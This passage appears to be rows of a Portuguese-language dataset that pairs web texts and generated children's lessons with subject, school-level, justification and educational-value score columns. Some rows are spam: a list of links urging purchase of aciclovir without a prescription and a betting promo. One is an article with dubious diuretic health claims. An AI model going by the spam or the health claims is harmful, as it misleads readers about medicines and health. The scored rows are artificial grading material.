visibilidade está reduzida a 400m, venta fraco de sudeste e faz 15 graus agora no aeroporto de Cataratas. NOTÍCIAS RELACIONADAS Mar um pouco agitado no Sul e Sudeste",original,original,original,original,1,0.2 +"Olá, pequenos exploradores da língua portuguesa! Sabem, as palavras são como tesouros escondidos, cheias de segredos e mistérios. Hoje, vamos embarcar em uma aventura para descobrir alguns desses segredos, prestando atenção especial na ortografia e na pontuação, que são como o mapa e a bússola dessa jornada. + +Imagine que você está escrevendo um bilhete para um amigo convidando-o para brincar. Se você escrever ""casa"" com ""z"" em vez de ""s"", seu amigo pode ficar confuso, não é mesmo? É por isso que a ortografia é tão importante! Ela nos ajuda a escrever as palavras da maneira correta, para que todos possam entender o que queremos dizer. + +A ortografia é um conjunto de regras que nos ensina como escrever cada palavra. Algumas palavras são escritas de um jeito porque sempre foram assim, como ""casa"". Outras seguem regras que podemos aprender. Por exemplo, a letra ""r"" tem sons diferentes dependendo de onde está na palavra. No início, como em ""rato"", o som é forte. No meio, como em ""caro"", o som é mais suave. Já quando temos dois ""r"", como em ""carro"", o som volta a ser forte! + +E a pontuação? Ah, a pontuação é como a música das palavras! Ela nos ajuda a dar ritmo e melodia ao que escrevemos. Imagine ler uma história toda sem nenhuma vírgula, ponto ou exclamação. Ficaria cansativo e confuso, não é? A vírgula (,) nos ajuda a fazer pequenas pausas, como quando respiramos entre uma frase e outra. O ponto final (.) indica que uma ideia terminou. E a exclamação (!) mostra surpresa, alegria ou outros sentimentos fortes! + +Vamos pensar em alguns exemplos práticos. Se você está contando algo emocionante, como ""Eu vi um cachorro enorme no parque!"", o ponto de exclamação no final mostra a sua empolgação. Se você está listando seus brinquedos favoritos, pode usar vírgulas para separar cada um: ""Eu gosto de brincar de boneca, carrinho, bola e massinha."" + +Agora, pensem um pouquinho: Como seria um mundo sem pontos e vírgulas? Será que as histórias teriam graça? Será que conseguiríamos entender uns aos outros? A ortografia e a pontuação são ferramentas poderosas que nos ajudam a nos comunicar de forma clara e eficaz. Elas são a chave para abrir as portas do conhecimento e da imaginação. + +Lembrem-se sempre: a prática leva à perfeição! Quanto mais vocês lerem e escreverem, mais fácil será dominar a ortografia e a pontuação. Então, peguem seus lápis, abram seus cadernos e embarquem nessa aventura ortográfica! Descubram os segredos das palavras e divirtam-se explorando o mundo mágico da língua portuguesa!",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O texto apresenta alto valor educacional, adequado para o ensino fundamental. Introduz conceitos de ortografia e pontuação de forma lúdica e acessível, utilizando exemplos práticos e analogias (palavras como tesouros, pontuação como música). O estilo de escrita é claro e envolvente, incentivando a prática e a exploração da língua portuguesa. A ausência de informações complexas ou irrelevantes contribui para um aprendizado estruturado e eficaz.",5,1.0 +"Sinopse: Para “colapsar a distância que separa o observador do local de experiência óptica”1, realizamos neste workshop um conjunto de experiências que procuram incluir o movimento, a mão e o olho na criação de um objecto artístico. +Após uma visita ao rio Almansor, usaremos a referência da água como superfície refletora, instável e amorfa que, tal como uma lente, distorce a realidade e permite criar instrumentos mediadores da experiência visual. Durante as duas sessões, teremos acesso a objectos de vidro, formas côncavas e assimétricas que funcionarão como contentores de água. Estas formas serão usadas para construir dispositivos de captação de imagem, recorrendo também a outros materiais, como pigmentos naturais (coloração da água), tilose (densidade líquida), objetos/estruturas (inclinação, derrame e equilíbrio/contenção da água). +Os exercícios práticos focam-se na observação e procura de imagens que permitem criar e experimentar outros processos criativos – desenhos, aguarelas, papel marmorizado, vídeos, performance, fotografia, land art, etc.",original,original,original,original,2,0.4 +"Olá, estudantes! Já pararam para pensar como as palavras se juntam para formar frases e textos incríveis? É como montar um quebra-cabeça, onde cada peça tem um lugar especial. Essa organização é a gramática! E, acreditem, ela não é nenhum bicho de sete cabeças. Pelo contrário, ela é a chave para nos comunicarmos cada vez melhor. + +Vamos começar com o básico: as classes de palavras. Pensem nelas como os times de um campeonato de futebol. Temos os substantivos, que são como os jogadores principais, dando nome a tudo: pessoas (Maria, Pedro), lugares (escola, Brasil), coisas (livro, caneta) e até sentimentos (alegria, tristeza). Depois, temos os adjetivos, que são os comentaristas, descrevendo as características dos substantivos: livro interessante, caneta azul, alegria contagiante. + +Os verbos são a ação do jogo! Eles indicam o que está acontecendo: correr, pular, estudar, pensar. E os advérbios? Ah, eles são como os técnicos, dando instruções sobre como a ação acontece: rapidamente, lentamente, aqui, ali. Cada um tem sua função e, juntos, formam frases completas e cheias de sentido. + +E as preposições e conjunções? São os conectores que unem as ideias, como 'de', 'para', 'com', 'mas', 'e'. Sem elas, as frases ficariam desconexas e difíceis de entender. Imaginem tentar contar uma hist��ria sem usar 'e', 'mas' ou 'porque'! Seria quase impossível, não é mesmo? + +Agora, uma reflexão: já perceberam como usamos a gramática o tempo todo, mesmo sem pensar? Quando mandamos uma mensagem para um amigo, quando escrevemos um texto para a escola, quando conversamos com a família... A gramática está lá, nos ajudando a expressar nossas ideias de forma clara e eficiente. + +Dominar a gramática não significa decorar regras chatas. Significa entender como a língua funciona e usar esse conhecimento para nos expressarmos melhor, para lermos e interpretarmos textos com mais facilidade e, principalmente, para nos comunicarmos com o mundo de forma mais completa e eficaz. Então, que tal embarcar nessa aventura e descobrir os segredos da gramática? Garanto que será uma jornada fascinante!",Português,Gramática básica,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir conceitos gramaticais básicos de forma lúdica e acessível, utilizando analogias como times de futebol para facilitar a compreensão. A linguagem é clara e adequada para o ensino fundamental, incentivando a reflexão sobre o uso da gramática no cotidiano. Aborda classes de palavras, preposições e conjunções, conectando-as à comunicação eficaz e à interpretação de textos.",5,1.0 +"Eles fornecem uma grande chance de ganhar com um pagamento relativamente alto nos lucros, apostas dicas hoje mas todo o processo é simples. Depois de decidir sobre um evento, Fantasticbet oferece-te outras disciplinas como futsal. +Um bônus sem depósito é um bônus em que você não precisa fazer um depósito para obter o bônus, porque as probabilidades são frequentemente influenciadas positivamente por isso. É muito discutível, nasce a loteria esportiva. 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Para realizar a criação da conta, deve-se seguir o passo a passo descrito a seguir: +Primeiramente, você deve abrir o seu navegador preferido (Google Chrome, Mozilla Firefox, Opera, Microsoft Edge, entre outros). Lembre-se sempre de optar por um browser seguro e que não irá expor os seus dados na internet. +Após abrir o seu navegador, entre no site do Banco Next. No entanto, você deve se certificar de que encontra-se no endereço oficial da empresa. Após essa verificação de segurança, deve-se abrir o menu lateral e procurar pela opção “Conta Next”. +Você será redirecionado para outra página e lá, após rolar a tela, encontrará um espaço para preencher seus dados e dar início a abertura de conta. Lhe serão requisitados dados como nome completo, o seu CPF, e-mail e confirmação de e-mail. +É importante salientar que você deve utilizar o seu melhor email, ou então aquele que acessa com mais frequência, para que o contato do Next seja facilitado. Eles lhe enviarão diversos e-mails de confirmação e será necessário que você esteja sempre atento. +Após certo tempo, o banco irá lhe contatar pelo endereço de e-mail informado anteriormente. Daí em diante começará toda a parte burocrática do processo. +ANÚNCIOS +A partir deste ponto você necessitará enviar algumas informações: documento de identificação com foto, podendo ser RG, CNH ou até mesmo carteira militar; e um comprovante de residência, podendo estar em seu nome ou no nome dos seus pais. Lembrando que este último deve ser de, no máximo, 180 dias. +Após o envio dos dados e documentos, caso ocorra a aprovação, daí para frente você será considerado um cliente Next. Depois disso, é só solicitar o cartão dentro do próprio aplicativo. +É muito importante destacar que, para que ocorra a sua aprovação, é necessário prestar atenção a alguns detalhes. Sem saber destas pequenas informações, pode ocorrer que o banco não aprove a criação da sua conta. +Dentre esses detalhes encontra-se o fato de que você deve ter pelo menos 18 anos completos para que possa ter a conta. Além disso, é importante sempre relembrar que, por mais que o banco não exija renda mínima, há um empecilho que pode alterar toda a sua situação. +Trata-se de algo bem simples. Caso seu score seja bom , você não terá grandes dificuldades para criar a conta. Entretanto, caso você esteja negativado, as suas chances de conseguir ser aprovado serão muito baixas, já que oferecerá elevados riscos. +Solicitar pelo aplicativo +ANÚNCIOS +Antes de mais nada, você necessita baixar o aplicativo do Banco Next. Para se certificar de que está baixando o app oficial, é só realizar o download pela Play Store caso você use o sistema Android, ou então pela App Store caso você use iOS. +Ao entrar no aplicativo, você deve tocar em “Criar conta”. O Next necessitará da sua geolocalização para facilitar a abertura da conta e a entrega do cartão. Após isso, você deverá fornecer dados como CPF, nome completo, e-mail, celular e data de nascimento. +Após isso, você deverá criar uma ...",original,original,original,original,1,0.2 +"Olá, pequenos exploradores do conhecimento! Já pensou em como a leitura é como ter uma chave mágica que abre as portas de um mundo todinho seu? Hoje, vamos descobrir juntos como usar essa chave para desvendar os segredos que os textos escondem. Imagine que cada livro, cada historinha, cada bilhete, é um mapa cheio de pistas. E nós, leitores espertos, somos os detetives que vão juntar todas as informações para entender a mensagem completa. + +Para começar nossa aventura, vamos pensar em algo que vocês adoram: um desenho animado! Quando você assiste, você entende a história, certo? Você sabe quem são os personagens, o que eles estão fazendo e por que as coisas acontecem. Ler é a mesma coisa! Só que, em vez de imagens, temos palavras. Cada palavra é uma peça do quebra-cabeça da história. Para entender, precisamos prestar atenção em cada uma delas. + +Vamos imaginar que você leu a seguinte frase: 'O cachorro late alto para o carteiro'. Quem está latindo? O cachorro! Para quem ele está latindo? Para o carteiro! Viu como descobrimos informações importantes prestando atenção nas palavras? Isso é interpretar um texto! É como se estivéssemos conversando com o autor e perguntando: 'O que você quis me contar com isso?' + +Mas, e se o texto for um pouquinho mais complicado? Não tem problema! Podemos usar algumas ferramentas secretas. Uma delas é procurar as palavras que você não conhece no dicionário. Outra é reler o texto com calma, imaginando a cena na sua cabeça. E, a mais importante de todas, é perguntar! Converse com seus pais, seus amigos, seus professores. Trocar ideias sobre o que você leu é uma ótima maneira de entender ainda mais a história. + +Ler e interpretar textos não é só importante para a escola. É importante para a vida! Quando você lê uma receita, você precisa entender os ingredientes e o modo de preparo para fazer um bolo delicioso. Quando você lê as regras de um jogo, você precisa entender como jogar para se divertir com seus amigos. A leitura está em tudo! E quanto mais você pratica, mais fácil e divertido fica. + +Então, que tal começar agora mesmo? Escolha um livro que te interesse, sente-se em um lugar confortável e embarque nessa aventura! Lembre-se: a leitura é uma chave mágica que abre as portas para um mundo de possibilidades. Use-a com sabedoria e prepare-se para descobrir coisas incríveis!",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho recebe 5 pontos por sua excepcional adequação ao ensino fundamental (anos iniciais). Apresenta o tema da interpretação textual de forma lúdica e acessível, com exemplos práticos e linguagem clara. Estimula a participação ativa do aluno e contextualiza a importância da leitura para além do ambiente escolar, oferecendo insights valiosos e abrangentes sobre o assunto.",5,1.0 +"Os agentes políticos são membros dos mais altos escalões do poder publico, aonde da elaboração das diretrizes de atuação governamental, tendo seus cargos, funções mandatos ou comissões, eleição, designação ou delegação para o exercício de atribuições constitucionais. Esses agentes com liberdade funcional, exercendo suas pertenças com suas responsabilidades próprias, porem, situada na constituição e em leis especiais, existe normas especificas para sua opção. Chefes do poder executivo (presidente da republica, governadores), Membros do poder Legislativo (Deputados e Senadores),Membro do poder Judiciário (Magistrados),Membro do Ministério público (Promotores e Procuradores de Justiça), Membros dos tribunais de contas (Ministros e Representantes Diplomáticos) +Servidor público na definição ampla, são as pessoas físicas que prestam serviços ao Estado e às entidades da Administração Indireta, com vínculo empregatício e mediante remuneração paga pelos cofres públicos. +Os militares são pessoas que servem as forças armadas brasileira o exercito,marinha e a aeronáutica,também as policias militares e o corpos de bombeiros dos estados,distrito federal e territórios , com vínculo estatutário sujeito a regime jurídico próprio, mediante remuneração paga pelo Governo. +São os que tem tarefas da administração para o ato ou pratica de determinadas atividades especificas,diante de remuneração do poder publico credenciante.tende-se como exemplo a pertença a alguma pessoa a missão de representar o Brasil em determinado evento internacional,esses são considerados “funcionários públicos” para fins penais",original,original,original,original,3,0.6 +"Olá, meus queridos leitores e leitoras! Tudo bem com vocês? Hoje venho falar um pouquinho de mais dois lançamentos da Editora Rocco, O Mundo das vozes silenciadas e O Reino… +Continue Reading → +Resenhas +[Resenha] Doctor Who: 12 doutores, 12 histórias – Parte 2 +February 20, 2015 +Continuação de “[Resenha] Doctor Who: 12 doutores, 12 histórias – Parte 1″… Sétimo Doutor: O Efeito de Propagação Autor: Malorie Blackmann O Doutor e sua companheira Ace estavam presos na… +Continue Reading → +Resenhas +[Resenha] Doctor Who: 12 doutores, 12 histórias – Parte 1 +February 20, 2015 +Autor: Vários Autores Tradução: Vários Editora: Rocco Lançamento: 2014 Páginas: 480 Sinopse: Não é qualquer universo que pode receber 12 visitantes tão ilustres e acolher 12 interpretações tão radicalmente diferentes… +Continue Reading → +About Me +Sophia +Estudante, cristã e leitora desde que se entende por gente. Aqui compartilho um pouco sobre as minhas leituras e dou dicas relacionadas a livros, séries e estudos.",original,original,original,original,1,0.2 +"Tem promoção aí que já tem uma quantidade grande de pessoas adquirindo neste momento. E por isto você precisa correr, porque senão vai acabar. +Faça a pequisa no campo de busca do site, e veja que ainda há possibilidades de encontrar bons preços em passagens promocionais. +Cada promoção encontrada neste buscador, aumentará suas chances de economizar cada vez mais. Então, fique atento quanto as promoções de passagens aéreas, e faça sua busca em nosso sistema.",original,original,original,original,1,0.2 +"Na hora de planejar uma viagem, o primeiro critério é sempre a diversão de todos os envolvidos. Mas quem disse que não dá para se divertir aprendendo? Pensando nisso, a ViajaNet, agência de viagens online, preparou uma lista de cinco lugares históricos para visitar com as crianças e ampliar seu repertório cultural. +1. Ouro Preto, em Minas Gerais +Conjunto arquitetônico e urbanístico de Ouro Preto (Foto: Raquel Mendes Silva/ Reprodução) +A história do Brasil passa obrigatoriamente por essa cidade mineira, tombada pela UNESCO como patrimônio cultural da humanidade. É até possível que as crianças já tenham ouvido falar dela na escola! E nada melhor do que estudar a história na prática, contando aos pequenos o que se passava na maior cidade brasileira da metade do século 18, enquanto passeiam por suas ruas de pedra bem conservadas e inúmeras construções barrocas, como igrejas e casarões. +2. Diamantina, em Minas Gerais +A cidade de Diamantina é uma herança do século 17 (Foto: Roberto Rosa/ Reprodução) +Localizada a cerca de 300 km de Belo Horizonte, essa outra cidade histórica também possui charmosas ruas de paralelepípedos, contornadas por casarões centenários muito bem conservados, que transmitem às crianças a sensação de estarem em um mundo diferente. Uma das construções mais impressionantes é o Passadiço, composto por dois casarões, um de cada lado da rua, interligados por uma passarela azul com janelas brancas em estilo barroco. +Outra atração é a Gruta de Salitre, localizada a 9 km do centro da cidade. Seus cânions, formados por paredões de quartzo, impressionam a todos e atraem turistas do mundo inteiro. Este é um passeio que dará às crianças uma sensação de aventura que ficará marcada em suas memórias. +3. Petrópolis, no Rio de Janeiro +Museu Imperial de Petrópolis (Foto: Marco Oddone/Divulgação) +No alto da serra fluminense, está localizada uma das cidades mais interessantes do Brasil. Petrópolis foi o destino de verão por anos de Dom Pedro II, que escolheu ela para fugir do calor carioca durante a estação. +Nesta cidade, Dom Pedro II construiu um belíssimo casarão, que hoje abriga o Museu Imperial, um dos grandes atrativos para as crianças, que ficam boquiabertas com a Coroa Imperial, assim como com todas as relíquias do Segundo Reinado. +4. Paris, na França +Torre Eiffel em Paris (Foto: Reprodução/Air France) +Entre todas as cidades do mundo, provavelmente Paris é a mais citada entre excelentes destinos para turistas - e ela também conta com atrações para as crianças. Além de ser cenário de obras que conhecemos desde pequenos, a capital francesa possui obras artísticas e marcos históricos que se vê desde cedo nas aulas, como a Torre Eiffel e os contornos da Bastilha, sem mencionar o acervo do Museu do Louvre. +Como se não bastasse, Paris tem muitos parques de diversão em seus arredores, como a Disneyland Paris. +5. Cuzco, Vale Sagrado e Machu Picchu, no Peru +Machu Picchu no Peru (Foto: Getty Images) +Diferente dos outros destinos, essas cidades peruanas trazem lembranças de civilizações fascinantes da antiguidade. Em Cuzco, há diversos museus, lojas de artesanato e restaurantes com a gastronomia típica local. Além disso, nos arredores da cidade se encontram vários sítios arqueológicos da civilização Inca. Mas é em Machu Picchu que está o ponto alto da viagem, com o principal sítio arqueológico da América, escolhido como uma das novas sete maravilhas do mundo. +Já o Vale Sagrado guarda diversas atrações para toda a família, como visitar o povoado de Pisac e conhecer a arte, a cultura e as roupas típicas do povo nativo peruano. Esse povoado oferece passeios de caiaque, quadriciclo e bicicleta, além de uma divertidíssima aula de cerâmica.",original,original,original,original,3,0.6 +"Muitas vezes, o que o cinema nacional precisa são de histórias simples bem contadas. Sem clichês relacionados à favela, ao sertão ou à Ditadura Militar, e sem arroubos pseudocults de quem coloca mil e uma referências em seus filmes (da Nouvelle Vouge à Fellinni), mas, de sem nenhuma substância. A diretora Anna Muylaert está num seleto grupo de realizadores que se preocupam, apenas, em contarem um bom enredo de maneira correta. O que vier além disso, acaba sendo lucro, como foi o caso de ""Que Horas Ela Volta?"", filme anterior da cineasta, que falou a respeito de assuntos muito pertinentes para a época atual (a exploração das empregadas domésticas e a mesquinharia latente da nossa classe média). Sem dúvida, foi a melhor produção nacional de 2015. +Neste ""Mãe só Há Uma"", no entanto, temos um tema que não é tão facilmente identificável, sendo algo um pouco mais intimista: a luta por uma identidade. Bas… +Direção: Robert Budreau. +Muito contribuiu a forma como o filme começa, em preto e branco, mostrando um pequeno recorte da vida de Baker, para depois descobrirmos que aquelas sequências estavam sendo encenadas para um filme sobre a vida dele, e a produção passa a mostrar os ""momentos reais"" em cores. Um artifício muito bom, visto que, ao longo do filme, ele voltará a ser utilizado, mas, para compor as lembranças do trompe… +Este ""Palombella Rossa"", por exemplo, é um filme de descrição um tanto complicada. Como classificá-lo? Uma drama? Uma comédia? Os dois juntos? Ou, algo mais? É preciso, como se vê, ter certa paciência e atenção para ""pegar"" sua história. No decorrer das cenas… +A história, por si, já dá margem para que se desenvolva algo muito bom a partir dela. Conta as agruras de Salma Zidane, uma viúva que mora na fronteira entre Israel e Cisjordânia. Sua vida passa a ter sérios problemas quando o Ministro da Defesa israelense vem morar em frente às sua plantação de limoeiros, e… +Curta não Recomendável +""Eletrodoméstica"" +Direção: Kléber Mendonça Filho. +Não basta você ter uma grande ideia nas mãos, é preciso saber como executá-la de maneira satisfatória. Caso contrário, a premissa ficará apenas na promessa de ter entrega algo verdadeiramente marcante. Este curta de Kléber Mendonça é um bom exemplo disso. A princípio, temos, a partir do título, um trocadilho interessante com o termo eletrodoméstico (o aparelho, a máquina), aonde é mudado para eletrodomésticA, o que pode denotar, de cara, que se trata de uma crítica à mecanização das pessoas, cada vez mais parecidas com os objetos que usa no dia a dia. +Porém, o curta já começa de forma péssima, situando o espectador nos bairros do Recife, mas, alongando-se demais nessas cenas, pontuadas por uma péssima música da banda Paulo Francis vai pro Céu (""Eu Queria Morar em Bervelly Hills""), que apela mais para as notórias gracinhas, pra fazer os pseudocults rirem mesmo, do que para fazer refletir ou algo… +A liberdade, sem dúvida, é um os bens mais preciosos do ser humano. Não uma mera liberdade que se fazer tudo o que quer, mas, sim, aquela que permite nossa autonomia, nossa capacidade de discernimento, enfim, o nosso caráter. E, esse é o tema central de ""Santa Sangre"". mesmo que, aparentemente, estejamos vendo aqui uma história mais ""tradicional"" do inquietante cineasta Alejandro Jodorowsky. Pra quem já conhece a filmografia do diretor, sabe muito bem que as suas produções são tudo, menos, convencionais. +Porém, enquanto o tema central desse filme é a liberdade, o seu universo é totalmente circense (lembrando que o próprio Jodorowski trabalhou no circo quando jovem). Por sinal, este talvez seja o filme onde mais se veja essa influência, não só porque o cenário do primeiro ato se passa, de fato, num circo, mas, devido às metáforas que versam sobre a representação de cada pessoa no palco que é …",original,original,original,original,1,0.2 +"Música é uma atividade universal, encontrada nos vários grupos humanos, em diferentes períodos históricos. No âmbito escolar, o aluno brinca, canta, movimenta para conhecer a si próprio e aos outros, em reações recíprocas. Através da música e da dança, aprende as normas sociais de comportamento, os hábitos determinados pela cultura e conhece os objetos em seu contexto, para desenvolver a linguagem oral, corporal e gestual. +Tudo significa para estes alunos um misto de prazer, coragem e desafio, além de oportunizar o relacionamento social, conhecimento de regras, o limite ao tempo de cada um e o respeito às diferenças de desempenho. Enfim, muita aprendizagem é construída ao longo da inserção da música no cotidiano das crianças e jovens. +Festa da Família teve dança e apresentação de teatro +Após o lanche, pais, alunos, professores, educadores e funcionários da escola participaram das atividades de dança propostas pela terapeuta ocupacional Vanessa Almeida, convidada especial do evento. Ela ensinou a dança sênior, que pode ser feita em pé ou na cadeira. A dança, criada em 1993 pela alemã Ilse Tutt, é voltada para idosos e pessoas com necessidades especiais. +Alunos, familiares e professores participam da aula de dança sênior +Todos participaram ativamente das seis danças. Dispostas em um grande círculo perto do palco, as pessoas fizeram alguns movimentos em pé e outros na cadeira. Depois, Vanessa convocou os pais para ficarem de pé no centro do círculo e fazerem mais duas coreografias. +A atividade foi seguida de uma descontraída apresentação de teatro dirigida pelo professor Isaac, em que ele, os alunos e a professora Lu encenaram uma comédia.",original,original,original,original,3,0.6 +"* As an Amazon Associate, and partner with Google Adsense and Ezoic, I earn from qualifying purchases. +Os elementos estilísticos asiáticos encontrados dentro desta bela ponte atraíram Egon Schiele para produzir esta pintura nas horas vagas, sem dúvida aproveitando as viagens gratuitas de trem que desfrutou durante vários anos devido à ocupação de seu pai. +Apesar de ser uma centelha criativa excepcional, Schiele às vezes exigia as habilidades diplomáticas de Gustav Klimt para persuadir membros da alta sociedade a empregar seus serviços. Sua personalidade e estilo artístico eram mais ásperos do que arestas do que seu colega, mas um pouco de compreensão de um artista no trabalho ajudou as conexões de Klimt a aceitar Schiele em seu rebanho. A família Lederer, por exemplo, hesitou no início, mas acabou possuindo uma grande quantidade de obras de Egon, incluindo desenhos e aquarelas. A ponte surgiu como uma obra de arte extra concluída durante a encomenda de um retrato. Ele se sentia atraído pelo estilo oriental dessa construção e relaxava ao lado dela enquanto estudava como fazer para capturá-la na tela. +Egon teve muito cuidado com esta pintura, corrigindo-a ao longo de 1913 antes de finalmente se decidir pela obra concluída. A ponte ficava em Gyor, uma cidade da Hungria. Foi aqui que a propriedade da família dos Lederers foi localizada. O artista perderia seu pai enquanto ainda se desenvolvia como artista, mas como chefe de estação durante sua própria vida, Egon se beneficiaria diretamente do trabalho de seu pai com viagens gratuitas de trem dentro da região local. Esta oportunidade o encorajou a viajar com frequência e ele nunca perdeu essa paixão, mesmo depois que seu pai faleceu. É então daí que surgiram tantas pinturas de paisagens e paisagens urbanas, na medida em que ele tentava registrar alguns dos pontos mais intrigantes que visitou. Schiele também começou a implementar humores mais expressivos em suas pinturas,Munch , Van Gogh e também Kirchner. +A Ponte de 1913 agora pode ser encontrada dentro de um acervo particular, dificultando o acesso ao público em geral. Felizmente, muitas das outras obras de Schiele podem ser encontradas espalhadas por três grandes galerias de arte e museus de Viena, ajudando a garantir que a obra de sua carreira permaneça bem compreendida e apreciada pelas gerações futuras. Foi, claro, esta mesma cidade que ajudou o artista a construir uma carreira impressionante e por isso parece totalmente certo que muito de sua produção pode ser descoberto aqui hoje. Schiele costumava encontrar itens de interesse enquanto fazia seus negócios diários, que, neste caso, era viajar para produzir um retrato de August Lederer. Por mais que tenha sido bem pago por aquela obra de arte, alguns podem argumentar que esse cenário de bônus é, na verdade, de mais interesse hoje. +www.TheHistoryOfArt.org +© www.TheHistoryOfArt.org 2020. All Rights Reserved +Disclaimer: www.TheHistoryOfArt.org is a personal website covering the history of art, but is in no way an official website for any of the artists included and www.TheHistoryOfArt.org does not claim to be that in any way. The Estate of each artist and their presence hold all necessary copyrights and licences for all of their paintings and other works. All prints, paintings and photos included in www.TheHistoryOfArt.org are provided as an affiliate to Art.com who hold necessary permissions. Art.com pay us small commissions based on any prints or paintings that you buy as a result of using this website.",original,original,original,original,3,0.6 +"como se fosse uma baleia...: Limitações e simetria (alguma) +Não consigo compreender como é que um homem pode querer deslocar o seu ponto de aplicação (produzir trabalho, portanto) para ir ver um concerto da Madonna. Ou da Esther, que para todos os efeitos é a mesma coisa. +Para ser franco, não consigo sequer compreender como é que alguém, independentemente do género e/ou do que eufemisticamente se designa por ""inclinação sexual"", pode querer produzir trabalho (deslocar o seu ponto de aplicação, portanto) para ir ver um concerto da Esther. Ou da Madonna, que para todos os efeitos é a mesma coisa.",original,original,original,original,0,0.0 +"Aciclovir comprar sin receta fiable +aciclovir 200mg libre venta +Comprar Aciclovir Aciclovir 800mg Barato En Línea +comprar aciclovir o aciclovir por internet: comprar aciclovir femenino en argentina. +http://bygda.traktor.no/profiles/blogs/l...idad-chile +como comprar aciclovir sin receta Estados Unidos Mexicanos +se puede comprar aciclovir sin receta en gibraltar. comprar aciclovir en farmacias sin receta, aciclovir 800 mg venta en buenos aires; comprar aciclovir sin receta contrareembolso; aciclovir generico mejor precio; comprar aciclovir verdad. aciclovir 400 mg comprar farmacia en línea. comprar aciclovir en farmacia sin receta medica. comprar aciclovir 800mg roma.comprar aciclovir en linea +http://monomoygroup.com/__media__/js/net...wcatirolta +aciclovir venta df? aciclovir 400 mg venta libre capital federal. comprar aciclovir 200mg pura. comprar aciclovir farmacias andorra. +ordenar amlodipina 2018 +aciclovir venta eu +donde puedo comprar aciclovir generico +aciclovir 200mg generico donde comprar Argentina +aciclovir 400mg barranquilla venta +comprar aciclovir 800 mg receta US +comprar aciclovir ou aciclovir Argentina +comprar aciclovir 200 mg natural com +http://www.connect2fight.com/blogs/384/8...pana-compr +comprar aciclovir normon 400mg +aciclovir precios bajos; comprar aciclovir guadalajara; comprar aciclovir sin receta en argentina. +comprar aciclovir pago contra reembolso; donde puedo comprar aciclovir sin receta en sevilla. es necesario receta para comprar aciclovir en argentina. comprar aciclovir online 24h. comprar aciclovir 400mg facil. quiero comprar aciclovir en argentina; aciclovir 400mg comprar online, como comprar aciclovir sin receta +comprar aciclovir 400mg valencia +comprar aciclovir 800mg méxico +aciclovir chile comprar +aciclovir de 400 mg precio: comprar aciclovir 400 mg mastercard. aciclovir comprar online. comprar aciclovir 800mg en santiago chile. comprar aciclovir genérico online puede en nuestra farmacia, aciclovir comprar venta +comprar aciclovir en sin receta España +http://writeskills.ning.com/profiles/blo...-medana-en +comprar aciclovir en cordoba argentina +aciclovir donde comprar en mexico? aciclovir en mexico venta. +puedo comprar aciclovir sin receta en farmacia +http://shamrockballerz.ning.com/profiles...il-without +comprar aciclovir para mujeres online +donde comprar aciclovir en cordoba argentina +http://www.newworldtube.com/blogs/post/39666 +ordenar escitalopram de forma segura España +aciclovir 800mg en andorra sin receta, comprar aciclovir 400mg domicilio. aciclovir se vende sin receta argentina. donde puedo comprar aciclovir en bolivia. donde comprar aciclovir sin receta en la plata; comprar aciclovir sin receta en tenerife, aciclovir 200 mg espana venta. comprar aciclovir morelia michoacan +puedo comprar aciclovir sin receta en una farmacia. quiero comprar aciclovir por internet. comprar aciclovir 800mg de calidad; comprar aciclovir en linea. medicamento aciclovir 800 mg precio. comprar aciclovir no brasil. donde puedo comprar aciclovir en cordoba argentina +aciclovir 400mg venta df +donde comprar aciclovir por telefono +http://mcdonaldauto.ning.com/profiles/bl...comprimido +precio de aciclovir con receta +aciclovir 800 mg libre venta Chile +comprar aciclovir generico en internet +donde puedo comprar aciclovir femenino en chile +comprar aciclovir generico en espana +aciclovir 800mg cual comprar +aciclovir argentina donde comprar: comprar aciclovir contrareembolso zaragoza. comprar aciclovir 800mg quito; comprar aciclovir en buenos aires sin receta. +comprar aciclovir 200mg barata",original,original,original,original,0,0.0 +"Sempre que podemos, enfatizamos a importância de ter uma dieta mais saudável e equilibrada, a fim de desfrutar de uma melhor saúde física e mental em todos os sentidos. +Por esta razão, é extremamente útil descobrir e saber quais vegetais têm o efeito mais diurético em nosso corpo, algo que irá ajudá-lo a se livrar de qualquer retenção de líquidos e, portanto, cuidar mais da sua linha. +Nesse sentido, como você certamente sabe, os alimentos com qualidades ou benefícios diuréticos são aqueles que têm a capacidade de ajudar nosso corpo a eliminar progressivamente a água. Devido a este processo de eliminação, eles também são úteis para nos ajudar a eliminar toxinas do corpo. +São alimentos que estimulam o bom funcionamento do rim, que é o corpo responsável principalmente por filtrar o sangue e eliminar várias toxinas do corpo, tudo através da urina. +Um excesso de fluido no nosso corpo não é muito menos benéfico. Pelo contrário, pode afetar seriamente a nossa saúde, uma vez que pode afetar o bom funcionamento do coração e dos rins e aumentar o pressão arterial. +5 legumes com propriedades diuréticas +Aipo +O aipo É, sem dúvida, um dos vegetais mais completos e saudáveis ​​que existem. Eles contêm um alto teor de vitaminas do tipo A, B e C, juntamente com outros elementos, como potássio, magnésio, cálcio ou zinco. Todos esses componentes têm potentes efeitos diuréticos e laxativos que nos encorajam a desfrutar de uma melhor saúde intestinal a longo prazo. +Da mesma forma, o aipo também é um ótimo anti-inflamatório natural, graças ao seu alto teor de poliacetileno. E seu alto teor de fibras faz dele um grande aliado para perder peso. O que você está esperando para adicionar este vegetal a qualquer uma das suas saladas? Certamente, a longo prazo, você vai gostar. +Cebola +O cebola não só melhora o sabor dos nossos peixes e saladas graças ao seu toque amargo. É também, sem dúvida, um grande aliado quando se trata de eliminar a retenção de líquidos ou perder peso. A razão? Porque a cebola tem um efeito alcalinizante que promove a eliminação de qualquer toxina que fica armazenada em nosso corpo. +Também ajuda a desfrutar de um melhor cálculo intestinal, graças ao seu alto teor de vitamina E, ácido fólico e fibras. É altamente recomendável levá-lo cru e em pequenas quantidades em qualquer salada ou vegetais mexidos que se orgulha. Você vai ver como você aprecia um sabor melhor em seus pratos enquanto você se beneficia de todos os benefícios oferecidos pela cebola. +Acelga suíça +Embora seja um dos vegetais que não é caracterizado por seu sabor rico, isso não significa que seus efeitos diuréticos devam ser negligenciados. De fato, Chard também é merecidamente um dos alimentos mais laxativos que podemos encontrar porque é praticamente feito de 80% de água e potássio. +Por outro lado, também é uma ótima fonte de vitamina A, um componente que ajuda a fortalecer todas as nossas defesas e, portanto, desfruta de um sistema imunológico à prova de vírus na forma de gripes e resfriados. O que você já está inserindo mais desejo de tomar este vegetal? +Alcachofras 